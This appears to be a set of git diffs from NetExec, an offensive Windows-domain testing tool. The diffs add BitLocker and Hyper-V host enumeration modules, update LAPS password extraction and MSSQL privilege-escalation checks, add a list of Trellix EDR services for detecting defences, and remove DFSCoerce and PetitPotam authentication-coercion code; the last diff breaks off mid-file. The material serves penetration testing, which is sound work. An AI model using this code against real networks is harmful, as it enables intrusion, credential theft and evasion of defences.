"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
@@ -71,7 +75,7 @@ def no_debug(func):
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
@@ -89,11 +93,12 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
encoding="utf-8"
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
self.output_file = None
|
||||
|
||||
|
||||
logging.getLogger("impacket").disabled = True
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
@@ -157,21 +162,28 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
def error(self, msg, *args, exc_info=None, stack_info=False, stacklevel=1, extra=None, **kwargs):
|
||||
"""Wrapper for the error method of the logger, but will also print the host ip if available"""
|
||||
if self.extra and self.extra["host"]:
|
||||
msg = f"Host {self.extra['host']}: {msg}"
|
||||
return super().error(msg, *args, exc_info=exc_info, stack_info=stack_info, stacklevel=stacklevel, extra=extra, **kwargs)
|
||||
|
||||
def log_console_to_file(self, text, *args, **kwargs):
|
||||
"""Log the console output to a file
|
||||
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
caller_frame = inspect.currentframe().f_back.f_back.f_back
|
||||
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
@@ -179,7 +191,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
@@ -193,16 +205,15 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
@staticmethod
|
||||
def init_log_file():
|
||||
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
if not os.path.exists(newpath):
|
||||
os.makedirs(newpath)
|
||||
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
|
||||
os.makedirs(newpath, exist_ok=True)
|
||||
return os.path.join(
|
||||
os.path.expanduser("~/.nxc"),
|
||||
NXC_PATH,
|
||||
"logs",
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
@@ -102,8 +102,9 @@ class NXCModule:
|
||||
None
|
||||
"""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
File diff suppressed because it is too large.
Load diff
+2
-125
@@ -1,15 +1,6 @@
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dfscoerce"
|
||||
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -26,118 +17,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth()
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host,
|
||||
doKerberos=connection.kerberos,
|
||||
kdcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to DFSCoerce")
|
||||
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
|
||||
dce.disconnect()
|
||||
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to DFSCoerce")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class NetrDfsRemoveStdRoot(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class NetrDfsAddRoot(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
("ServerName", WSTR),
|
||||
("RootShare", WSTR),
|
||||
("Comment", WSTR),
|
||||
("ApiFlags", DWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrDfsAddRootResponse(NDRCALL):
|
||||
structure = (("ErrorCode", ULONG),)
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
rpctransport.setRemoteHost(target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
nxc_logger.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def NetrDfsRemoveStdRoot(self, dce, listener):
|
||||
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
nxc_logger.debug(request.dump())
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(e)
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -358,6 +358,27 @@ conf = {
|
||||
{"name": "sophoslivequery_*", "processes": [""]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trellix Endpoint Detection and Response (EDR)",
|
||||
"services": [
|
||||
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
|
||||
{"name": "mfemactl", "description": "Trellix Management Service"},
|
||||
{"name": "mfemms", "description": "McAfee Management Service"},
|
||||
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
|
||||
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
|
||||
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
|
||||
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
|
||||
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Trend Micro Endpoint Security",
|
||||
"services": [
|
||||
|
||||
@@ -7,7 +7,7 @@ import re
|
||||
import sys
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @joaovarelas"""
|
||||
|
||||
name = "hyperv-host"
|
||||
description = "Performs a registry query on the VM to lookup its HyperV Host"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
|
||||
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
|
||||
key = "HostName"
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
# Query
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
|
||||
self.context.log.highlight(f"{key}: {reg_value}")
|
||||
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
|
||||
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error while querying registry: {e}")
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
@@ -1,10 +1,11 @@
|
||||
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
|
||||
# Airbus CERT
|
||||
# module by @mpgn_x64
|
||||
# updated by @NeffIsBack
|
||||
|
||||
from ipaddress import ip_address
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
|
||||
from impacket.dcerpc.v5.dcomrt import IObjectExporter
|
||||
|
||||
|
||||
@@ -13,31 +14,31 @@ class NXCModule:
|
||||
description = "This module helps you to identify hosts that have additional active interfaces"
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No module options"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
authLevel = RPC_C_AUTHN_LEVEL_NONE
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
|
||||
portmap.connect()
|
||||
|
||||
portmap = rpctransport.get_dce_rpc()
|
||||
portmap.set_auth_level(authLevel)
|
||||
portmap.connect()
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
|
||||
objExporter = IObjectExporter(portmap)
|
||||
bindings = objExporter.ServerAlive2()
|
||||
context.log.debug(f"Retrieving network interface of {connection.host}")
|
||||
|
||||
context.log.debug("[*] Retrieving network interface of " + connection.host)
|
||||
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight("Address: " + NetworkAddr)
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"DCERPCException error: {e}")
|
||||
+3
-3
@@ -45,12 +45,12 @@ class NXCModule:
|
||||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
context.log.fail(str(e))
|
||||
continue
|
||||
r = json.loads(data)
|
||||
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
|
||||
elif "mslaps-password" in values:
|
||||
|
||||
@@ -99,8 +99,8 @@ class NXCModule:
|
||||
do_handshake_on_connect=False,
|
||||
suppress_ragged_eofs=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
ssl_sock.do_handshake()
|
||||
ssl_sock.close()
|
||||
return True
|
||||
@@ -126,7 +126,7 @@ class NXCModule:
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
return None
|
||||
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
@@ -142,7 +142,7 @@ class NXCModule:
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
return None
|
||||
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
|
||||
+8
-5
@@ -1,3 +1,5 @@
|
||||
from pyasn1.error import PyAsn1Error
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -21,9 +23,10 @@ class NXCModule:
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
searchFilter = "(objectClass=*)"
|
||||
attributes = ["ms-DS-MachineAccountQuota"]
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
|
||||
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
|
||||
try:
|
||||
maq = result[0]["attributes"][0]["vals"][0]
|
||||
context.log.highlight(f"MachineAccountQuota: {maq}")
|
||||
except PyAsn1Error:
|
||||
context.log.highlight("MachineAccountQuota: <not set>")
|
||||
@@ -219,6 +219,7 @@ class NXCModule:
|
||||
"""
|
||||
if self.is_admin_user(user.username):
|
||||
user.is_sysadmin = True
|
||||
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
|
||||
return True
|
||||
user.dbowner = self.check_dbowner_privesc(exec_as)
|
||||
return user.dbowner
|
||||
@@ -249,11 +250,15 @@ class NXCModule:
|
||||
self.revert_context(exec_as)
|
||||
is_admin = res[0][""]
|
||||
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
||||
if is_admin:
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
try:
|
||||
if int(is_admin):
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except ValueError:
|
||||
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
|
||||
return False
|
||||
|
||||
def get_databases(self, exec_as="") -> list:
|
||||
@@ -442,10 +447,15 @@ class NXCModule:
|
||||
"""
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
is_admin = res[0][""]
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
try:
|
||||
if is_admin != "NULL" and int(is_admin):
|
||||
self.admin_privs = True
|
||||
self.context.log.debug(f"Updated: {username} is admin!")
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except ValueError:
|
||||
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
|
||||
+2
-269
@@ -1,25 +1,6 @@
|
||||
# From https://github.com/topotam/PetitPotam
|
||||
# All credit to @topotam
|
||||
# Module by @mpgn_x64
|
||||
|
||||
import sys
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
|
||||
from impacket.dcerpc.v5.rpcrt import (
|
||||
DCERPCException,
|
||||
RPC_C_AUTHN_WINNT,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_AUTHN_GSS_NEGOTIATE,
|
||||
)
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "petitpotam"
|
||||
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -37,252 +18,4 @@ class NXCModule:
|
||||
self.pipe = module_options["PIPE"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
dce = coerce(
|
||||
connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe=self.pipe,
|
||||
do_kerberos=connection.kerberos,
|
||||
kdcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
context=context,
|
||||
)
|
||||
if efs_rpc_open_file_raw(dce, self.listener, context):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
|
||||
try:
|
||||
host = context.db.get_hosts(connection.host)[0]
|
||||
context.db.add_host(
|
||||
host.ip,
|
||||
host.hostname,
|
||||
host.domain,
|
||||
host.os,
|
||||
host.smbv1,
|
||||
host.signing,
|
||||
petitpotam=True,
|
||||
)
|
||||
except Exception:
|
||||
context.log.debug("Error updating petitpotam status in database")
|
||||
|
||||
|
||||
class DCERPCSessionError(DCERPCException):
|
||||
def __init__(self, error_string=None, error_code=None, packet=None):
|
||||
DCERPCException.__init__(self, error_string, error_code, packet)
|
||||
|
||||
def __str__(self):
|
||||
key = self.error_code
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (("Data", "20s"),)
|
||||
|
||||
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
